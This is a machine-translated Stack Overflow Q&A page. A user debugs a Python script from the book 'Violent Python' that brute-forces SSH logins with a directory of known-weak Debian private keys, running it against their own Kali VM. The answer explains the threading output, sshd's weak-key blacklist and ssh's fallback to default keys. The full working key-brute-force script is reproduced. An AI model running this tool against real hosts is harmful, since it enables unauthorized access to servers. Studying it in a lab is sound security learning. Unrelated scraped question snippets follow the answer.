- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
所以我正在阅读这本很棒的书,“暴力 Python”。在第 2 章中有一个 Python 脚本,它使用私钥对 Debian 机器或任何运行 SSH 服务器的机器进行身份验证,该服务器上有用户但没有强私钥。下面是脚本:
#! /usr/bin/env python
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + \
'@' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied, \
ssh_newkey, conn_closed, '$', '#',])
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H ' + \
'<target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-d', dest='passDir', type='string', \
help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: '+ \
'Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect, \
args=(user, host, fullpath, True))
child = t.start()
if __name__ == '__main__':
main()
奇怪的是,当我在我的内部 LAN 上针对基于 Debian 的 Kali 副本运行此程序时,Python 脚本打印出它发现了一些易受攻击的私钥。我不确定为什么它会为操作系统上的单个用户找到几个易受攻击的 key 。当我运行脚本时,我指定了 1) 一个主机,2) 一个用户名,以及 3) 一个充满由 HD Moore 生成的私钥的目录。我不得不使用 wayback 机器来获取他为 2048 强度非对称算法生成的 RSA 私钥。
示例输出:
[-] Testing keyfile rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
[+] Success. rsa/2048/.DS_Store
[+] Success. rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[*] Exiting: Key Found.
[+] Success. rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[+] Success. rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
无论如何,为什么脚本说它在我的 Debian Kali 虚拟机 (VM) 上找到了我的用户名的大量私钥?我试图通过 ssh -irsa/2048/0002d5af29276c95a49dc2ab3b506707-23747 root@192.168.1.11 -o PasswordAuthentication=no
使用明显易受攻击的私钥登录命令,但没有用。为什么它不起作用? Python 脚本实际上并没有按照它所说的那样做吗? X射线眼镜有人吗?让我继续……
然后我检查了/var/log/auth.log
在我的 Debian Kali VM 上,它有一些有趣而神秘的条目。日志显示,Public key <Hexadecimal colon separated key> from <IP> blacklisted (see ssh-vulnkey(1))
我阅读了 ssh-vulnkey
的手册页在 Debian Kali 操作系统上,发现该程序可以在计算机上找到易受攻击的 key 。我尝试用 -v verbose
运行它选项并看到一些键显然是易受攻击的,虽然我不明白 f 键是怎么回事。
关于 1) 为什么脚本返回成功找到 key 的结果和 2) 列入黑名单的内容 auth.log
有没有人有一个易于理解的解释?留言是什么意思另外,3) 如果它找到了易受攻击的 key ,为什么我不能使用该 key 登录我的计算机?
此外,是否应将其移至 information-security
?
邪恶的 Python 脚本:
奥康纳,TJ (2012-12-28)。暴力 Python:黑客、取证分析师、渗透测试人员和安全工程师的食谱。爱思唯尔科学。 Kindle版。
最佳答案
据我所知,脚本只是遍历目录并尝试将它们用作连接到给定 SSH 服务器的 key 。这是在线程中完成的,因此输出的顺序是不确定的。由于我们在启动新线程之前检查全局 Stop
标志是否为 True
,因此可能会发生并非所有文件都被检查的情况,因为一个较早的线程已经成功完成并设置了标志。这就是它报告它找到了一个 key 的原因。
您的 SSH 守护程序会将由损坏的 OpenSSL 版本生成的弱密钥列入黑名单。这是一件好事,您可以阅读它 here .这也是您无法登录的原因。
ssh
自动回退到在您的配置目录中寻找有效 key 。所以连接确实成功了,但是你的命令行参数被忽略了。尝试使用 -vvv
运行命令并观察输出:
$ ssh user@host -i not-a-key -o PasswordAuthentication=no -vvv
[...]
debug1: identity file /path/to/not-a-key type -1
[...]
关于python - 弱 Debian SSH key Python 脚本 Cryptic auth.log,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33093994/
查看“mysqldump -d”并看到一个键是 KEY,而不是“PRIMARY KEY”或“FOREIGN KEY” 什么是关键? 示例: CREATE TABLE IF NOT EXISTS `TA
在我开始使用 Python 的过程中尝试找出最佳编码实践。我用 Pandas 写了一个 csv 到数据框阅读器。它使用格式: dataframe = read_csv(csv_input, useco
在 Flutter 中,用一个例子可以清楚地解释什么? 我的困惑是关于 key,如下面的代码所示。 MyHomepage({Key key, this.title}) : super(key: key
我在我的 Android 应用程序中使用 GCM。要使用 GCM 服务,我们需要创建 Google API key 。因此,我为 android、服务器和浏览器 key 创建了 API key 。似乎
我想在 azure key 保管库中创建一个 secret ,该 key 将具有多个 key (例如 JSON)。 例如- { "storageAccountKey":"XXXXX", "Co
尝试通过带有 encodeforURL() 的 url 发送 key 时,我不断收到错误消息和 decodefromUrl() .代码示例如下。 这是我的入口页面: key = generateSec
是否有检查雪花变体字段中是否存在键的函数? 最佳答案 您可以使用 IS_NULL_VALUE 来查看 key 是否存在。如果键不存在,则结果将为 NULL。如果键存在,如果值为 JSON null,则
我正在尝试运行此命令: sudo apt-key adv --keyserver keys.gnupg.net --recv-keys 1C4CBDCDCD2EFD2A 但我收到一个错误: Execu
我有一个 csv 文件,我正在尝试对 row[3] 进行计数,然后将其与 row[0] 连接 row[0] row[3] 'A01' 'a' 'B02'
如何编写具有这种形式的函数: A(key, B(key, C(key, ValFactory(key)))) 其中 A、B 和 C 具有此签名: TResult GetOrAdd(string key
审查 this method我很好奇为什么它使用 Object.keys(this).map(key => (this as any)[key])? 只调用 Object.keys(this).ind
我有一个奇怪的情况。我有一个字典,self.containing_dict。使用调试器,我看到了字典的内容,并且可以看到 self 是其中的一个键。但是看看这个: >>> self in self.c
我需要在我的 Google Apps 脚本中使用 RSA-SHA256 和公钥签署消息。 我正在尝试使用 Utilities.computeRsaSha256Signature(value, key)
我是 React 的初学者开发人员,几天前我看到了一些我不理解的有趣语法。 View组件上有{...{key}},我会写成 key={key} ,它完全一样吗?你有链接或解释吗? render()
代理 key 、合成 key 和人工 key 之间有什么区别吗? 我不清楚确切的区别。 最佳答案 代理键、合成键和人工键是同义词。技术关键是另一个。它们都表示“没有商业意义的主键”。它们不同于具有超出
问题陈述:在 Web/控制台 C# 应用程序中以编程方式检索并使用存储在 Azure Key Vault 中的敏感值(例如数据库连接字符串)。 据我所知,您可以在 AAD 中注册应用,并使用其客户端
问题陈述:在 Web/控制台 C# 应用程序中以编程方式检索并使用存储在 Azure Key Vault 中的敏感值(例如数据库连接字符串)。 据我所知,您可以在 AAD 中注册应用,并使用其客户端
我正在寻找 Perl 警告的解决方案 “引用键是实验性的” 我从这样的代码中得到这个: foreach my $f (keys($normal{$nuc}{$e})) {#x, y, and z 我在
我正在为 HSM 实现 JCE 提供程序 JCE中有没有机制指定 key 生成类型例如: session key 或永久 key KeyGenerator keygen = KeyGener
我在 Facebook 上创建了一个应用程序。我已经正确添加了 keyhash 并且应用程序运行良好但是当我今天来并尝试再次运行它时它给了我这个错误。 这已经是第二次了。 Previsouly 当我收
我是一名优秀的程序员,十分优秀!